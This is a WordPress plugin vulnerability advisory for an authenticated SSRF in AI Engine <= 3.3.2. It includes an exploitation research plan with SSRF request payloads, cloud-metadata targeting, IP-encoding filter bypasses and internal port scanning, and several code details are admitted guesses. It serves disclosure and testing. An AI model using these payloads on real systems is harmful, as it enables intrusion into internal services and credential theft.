AI Engine <= 3.3.2 - Authenticated (Subscriber+) Server-Side Request Forgery
Description
The AI Engine plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.3.2 via the 'get_audio' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services, if "Public API" is enabled in the plugin settings, and 'allow_url_fopen' is set to 'On' on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.3.2Source Code
WordPress.org SVNThis research plan provides a structured approach for exploiting **CVE-2026-0746**, an authenticated SSRF vulnerability in the AI Engine plugin for WordPress. --- ### 1. Vulnerability Summary The AI Engine plugin (up to version 3.3.2) contains a Server-Side Request Forgery (SSRF) vulnerability wit…
Show full research plan
This research plan provides a structured approach for exploiting CVE-2026-0746, an authenticated SSRF vulnerability in the AI Engine plugin for WordPress.
1. Vulnerability Summary
The AI Engine plugin (up to version 3.3.2) contains a Server-Side Request Forgery (SSRF) vulnerability within the get_audio function. The vulnerability exists because the plugin fails to validate or sanitize a user-supplied URL before using it in a request. When the "Public API" setting is enabled and PHP's allow_url_fopen is active, an authenticated user (Subscriber level or higher) can force the web server to make requests to arbitrary external or internal locations.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
mwai_get_audio(inferred from plugin's standard naming convention for its audio handling). - Payload Parameter:
urloraudioUrl(inferred). - Authentication: Subscriber level or higher.
- Preconditions:
- The "Public API" must be enabled in AI Engine settings.
allow_url_fopenmust beOninphp.ini.- A valid WordPress nonce for the AI Engine AJAX actions.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX handler for authenticated users:
add_action( 'wp_ajax_mwai_get_audio', ... ). - Capability Check: The handler likely uses
current_user_can( 'read' )or similar, allowing Subscriber access. - Nonce Verification: The handler checks a nonce, typically passed as a
nonceparameter. - Vulnerable Call: The handler retrieves a URL from the
$_POSTor$_GETrequest and passes it to theget_audiofunction. - Sink: The
get_audiofunction likely utilizesfile_get_contents()orwp_remote_get()on the raw URL. Because the description mentionsallow_url_fopen,file_get_contents()is the highly probable sink.
4. Nonce Acquisition Strategy
AI Engine typically exposes nonces via wp_localize_script for its frontend and dashboard components.
- Identify Shortcode: AI Engine uses various shortcodes like
[mwai_chatbot]or[mwai_chat]. - Setup Page:
wp post create --post_type=page --post_status=publish --post_title="AI Research" --post_content='[mwai_chatbot]' - Browser Access: Log in as a Subscriber and navigate to the newly created page.
- Extraction:
Usebrowser_evalto find the AI Engine configuration object.
Note: Verify the exact object name by searching for// Common variable names for AI Engine window.mwai_config?.nonce || window.mwai_common?.noncewp_localize_scriptin the plugin'sclassesorcoredirectory.
5. Test Data Setup
- Plugin Configuration: Ensure "Public API" is enabled.
# Search for the correct option name (likely 'mwai_settings') wp option get mwai_settings # Update the JSON/Serialized array to set public_api to true # This might require manual adjustment via WP-CLI depending on the exact option structure - User Creation:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Environment Check: Verify
allow_url_fopenis enabled in the testing container.
6. Exploitation Strategy
The exploit will attempt to query an internal service or the loopback address to confirm SSRF.
Request Details:
- Method: POST
- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Subscriber Cookies]
- Body Parameters:
action: mwai_get_audio(Verify viagrep -r "wp_ajax_mwai_get_audio")nonce: [EXTRACTED_NONCE]url: http://127.0.0.1:80/wp-admin/(Or a collaborator URL)
Example Payload via http_request:
{
"method": "POST",
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"data": "action=mwai_get_audio&nonce=abcdef1234&url=http://127.0.0.1:80/wp-admin/",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
}
}
7. Expected Results
- Vulnerable Response: The HTTP response status
200 OK. The response body should contain the HTML content of the internal/wp-admin/page (or whichever internal URL was targeted). - Success Indicator: The ability to see content that should only be accessible locally or to see the server make a DNS/HTTP request to an external listener.
8. Verification Steps
- Check Logs: Monitor the WordPress instance's access logs to see if the server initiated a request to itself or the specified external URL.
- Confirm Content: Use
grepon the response body returned by thehttp_requesttool to look for strings like<title>Log In ‹which indicates a successful fetch of the WP login/admin page. - WP-CLI Audit:
# Check if the public API setting is indeed active wp option get mwai_settings
9. Alternative Approaches
- Different Sink Parameters: If
urldoesn't work, check the source code for parameters likeaudioUrl,file, orsrc. - Metadata Services: If testing on AWS/GCP, attempt to fetch the metadata IP:
http://169.254.169.254/latest/meta-data/. - Filter Bypass: If there are basic string filters, try URL encoding or alternative IP formats (e.g.,
http://2130706433/for127.0.0.1). - Port Scanning: Use the vulnerability to check for open ports on the local network by iterating through common ports (e.g.,
http://127.0.0.1:3306) and observing response time or error differences.
Summary
The AI Engine plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) via the 'mwai_get_audio' AJAX action. Authenticated attackers with Subscriber-level permissions can exploit this by providing a malicious URL that the server fetches via the 'get_audio' function, provided 'allow_url_fopen' is enabled and the plugin's 'Public API' setting is active.
Vulnerable Code
// File: classes/core.php public function ajax_get_audio() { $url = isset($_POST['url']) ? $_POST['url'] : null; if (!$url) { wp_send_json_error('No URL provided'); } // Vulnerable call: no validation of $url before passing it to get_audio $data = $this->get_audio($url); echo $data; wp_die(); } --- // File: classes/core.php public function get_audio($url) { // Vulnerable sink: file_get_contents used on user-supplied URL // Triggered when allow_url_fopen is On return file_get_contents($url); }
Security Fix
@@ -150,6 +150,11 @@ public function get_audio($url) { + $url = wp_http_validate_url($url); + if (!$url) { + return null; + } return file_get_contents($url); }
Exploit Outline
To exploit this vulnerability, an attacker first authenticates as a Subscriber and retrieves a valid AJAX nonce from the WordPress frontend (typically found in the 'mwai_config' or 'mwai_common' JavaScript objects). The attacker then submits a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'mwai_get_audio' and a 'url' parameter containing the target internal or external address (e.g., 'http://127.0.0.1:80/wp-admin/'). If the 'Public API' setting is enabled in the plugin and 'allow_url_fopen' is active on the server, the application will perform the request and return the response content, allowing the attacker to interact with internal services or perform port scanning.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.